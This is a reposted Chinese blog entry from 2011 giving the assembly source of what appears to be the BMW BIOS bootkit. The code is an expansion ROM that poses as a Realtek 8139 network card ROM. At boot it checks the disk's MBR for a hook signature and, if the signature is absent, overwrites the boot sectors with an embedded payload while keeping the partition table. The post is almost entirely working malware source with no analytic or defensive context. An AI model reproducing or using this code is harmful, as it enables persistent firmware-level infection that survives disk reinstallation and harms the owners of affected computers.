2011年9月24日星期六

[轉載]BMW(ISA代碼)

作者:foxmain
;*******************************************************************************************************************
;*******************************************************************************************************************
        org    0h        ; 运行于BIOS中
        db     55h,0AAh    ; ISA模块头
        db     15        ; 大小为 15*512字节

        jmp    MyROMCodeStart
;*******************************************************************************************************************
;*******************************************************************************************************************


;db 0bh
;db 6dh
;db 03h
        times 18 db 0h
;dd 400020h,8b2e0060h,4e5590c0h
;dd a7164944h
;dd A7h
;db  44h,49h,16h
;db 167
;dd 2010000h,8000cc5h
dw      001ch;              PCI數據結構起始偏移 00h
dw      0034h;              PCI數據結構結束偏移 02h 
dd      52494350h;          PCIR(pci rom)標誌   04h 
dw      10ech;              供應商ID            08h 
dw      8139h;              設備ID(網卡8139)    0ah 
dw      0000;               保留                0ch 
dw      0018h;              PCI數據結構長度     0eh 
db      00h;                PCI數據結構修訂版   10h
db      02,00,00;           類別代碼  
dw      0008h;              代碼長度
dw      0201h;              代碼/數據修訂版本水平
db      00;                 代碼類型(0表示可執行代碼)
db      80h;                指示字節 
dw      0000h;              保留
dd      506e5024h,201h,6500h,0,20000h,6400h,0,0;
;*******************************************************************************************************************
;*******************************************************************************************************************


MyROMCodeStart:
        pushf                          ;
        pushad                         ;PCI設備規範中說明,除了返回值以外,其它的參數必需恢復
         push   es
      push   ds

;        ret
      cld
        call   x_code    ; 跳轉到程序進入點

;*******************************************************************************************************************
;*******************************************************************************************************************

;------------------------------------------------------------------------
incbin "dst_sectors.dat";;;需要復制的數據
;------------------------------------------------------------------------

;*******************************************************************************************************************
;*******************************************************************************************************************
;oxfb9cd
;0xfb8ed
x_code:
        pop    ax
      xor    bx,bx
        push   bx
        pop    es
        push   cs          
        pop    ds                                                   
        mov    si, ax
        mov    di, 7c00h 
        mov    cx, 1c00h
        rep    movsb     ;將需要復制的文件拷貝到7c00h處
  mov    ds,bx
  mov     ah, 41h
        mov     dl, 80h
        mov     bx, 55AAh
        int     13h             ;檢測是否支持擴展的BIOS int 13h功能
        cmp     bx, 0AA55h
  jnz     __Exit
        test    cl, 1
        jz      __Exit

        call   __Estimate_MBR;判斷MBR是否以經被HOOK 
        test   ax,ax
  jnz    __Exit;        如果被HOOK了或者讀取錯誤退出
        mov    ax,7c00h 
        mov    ecx,0
        mov    dx,14
        call   __Write_sectors

__Exit:
        pop    ds
    pop    es
    popad
    popf
    retf


;*******************************************************************************************************************
;*******************************************************************************************************************


;=============================================================
; 需要將名稱變為大寫 
; 輸入:ES:EDI = 字符串CX = 字符串長度(寬字符串) 

;
;=============================================================
ToUpperCase:
    PUSH      ECX
    PUSH      EBX
    XOR       EBX,EBX
    TEST      CX,CX
    JZ        .End        ; CX = 0
    
    ; 目前只處理 a-z => A-Z 
.CheckNextChar:
    CMP       WORD[ES:EDI+EBX],0061H
    JB        .NextChar
    CMP        WORD[ES:EDI+EBX],007AH
    JA        .NextChar
    
    ; a < ch < z
    SUB        WORD[ES:EDI+EBX],20H
    
.NextChar:    
    ; 繼續處理下一個字符
    INC        EBX
    INC        EBX
    DEC        CX
    JNZ        .CheckNextChar

.End:
    ; 返回
    POP        EBX
    POP        ECX
    RET
    
    
;*******************************************************************************************************************
;*******************************************************************************************************************

;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;function : write sectors 
;vars : ax = offset of the buffer,dx = cnt of sectors to write,ecx = start sector No. 
;data: 2009-5-23
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
__Write_sectors:
        push   si
        push   di
      xor    bx,bx
      push   bx
      pop    ds
      mov    si,97F0h
        mov    [word si],word 0010h
        mov    [word si+2],dx;寫dx個扇區的數據 
        mov    [word si+4],ax
        mov    [word si+6],byte 0000h
        mov    [word si+8],ecx;從第ecx個扇區開始寫入
        mov    ecx,0004h
        mov    di,97FCh
_fill_zero1:
        mov    [byte di],byte 00h
        inc    di
        loop   _fill_zero1
        mov    ax,4300h
        mov    dl,80h
        int    13h
        jnb    _normal_write
        mov    ax,0ffffh
_normal_write:
        pop    di
        pop    si    
        ret

;*******************************************************************************************************************
;*******************************************************************************************************************

;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;function : __Estimate_MBR 
;date : 2009-05-26
;if hooked return true else return false
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;

__Estimate_MBR:
        mov    ax,0x8A00  ;7c00+e00
      mov    dx,1;需要讀取的扇區數
      mov    ecx,0;開始讀的起始扇區
      push   ax
      call   __Read_sectors;讀0扇區的內容
      pop    si
    cmp    ax,0xffff
    jz     _erro_read
    mov    ax,[word 0x8BFE] ;7c00+1FE
    cmp    ax,0xAA55
    jnz    FindSign 
      mov    eax,[dword 0x8A92] ;7c00+e00+192
      cmp    eax,0x31746E69;;HOOK標誌
      jz     FindSign
        mov    ax,0
        jmp    NotHook
FindSign:
        mov    ax,1
        jmp    _erro_read
NotHook:
      mov   si,0x8B80 ;7c00+e00+180
      mov   di,0x7d80 ;7c00+180
      mov   cx,0x80
      rep   movsb      ;複製分區表到0x7c00+0x180處 
_erro_read:
      ret

;*******************************************************************************************************************
;*******************************************************************************************************************

;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;function : read sectors 
;vars : ax = offset of the buffer,dx = cnt of sectors to read,ecx = start sector No. 
;updata: 2009-5-23
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;

__Read_sectors:
        push   si
        push   di
      xor    bx,bx
      push   bx
      pop    ds    
      
        mov    si,97F0h
        mov    [word si],word 0010h
        mov    [word si+2],dx;讀取dx個扇區的數據
        mov    [word si+4],ax
        mov    [word si+6],byte 0000h
        mov    [word si+8],ecx      ;從第ecx個扇區開始讀取。
        mov    ecx,0004h
        mov    di,97FCh
_fill_zero:
        mov    [byte di],byte 00h
        inc    di
        loop   _fill_zero
        mov    ax,4200h
        mov    dl,80h
        int    13h
        jnb    _normal_read
        mov    ax,0ffffh
_normal_read:
        pop    di
        pop    si    
        ret

;*******************************************************************************************************************
;*******************************************************************************************************************
      
WaitPressScrollKey:
        push   ax
s0:
        in     al,60h
        cmp    al,0x46      ;Scroll Lock鍵掃描碼:46h
        jnz    s1                                   
        stc    
        pop    ax
        ret
s1:
        in     al,61h
        test   al,010h
        jnz    s2
con:
        in     al,61h
        test   al,10h
        jz     con
        dec    cx
s2:
        or     cx,cx
        jnz    s0
        clc
        pop    ax
        ret
times  7680-($-$$)  db  0  ; 添加文件至7680字節大小

没有评论:

发表评论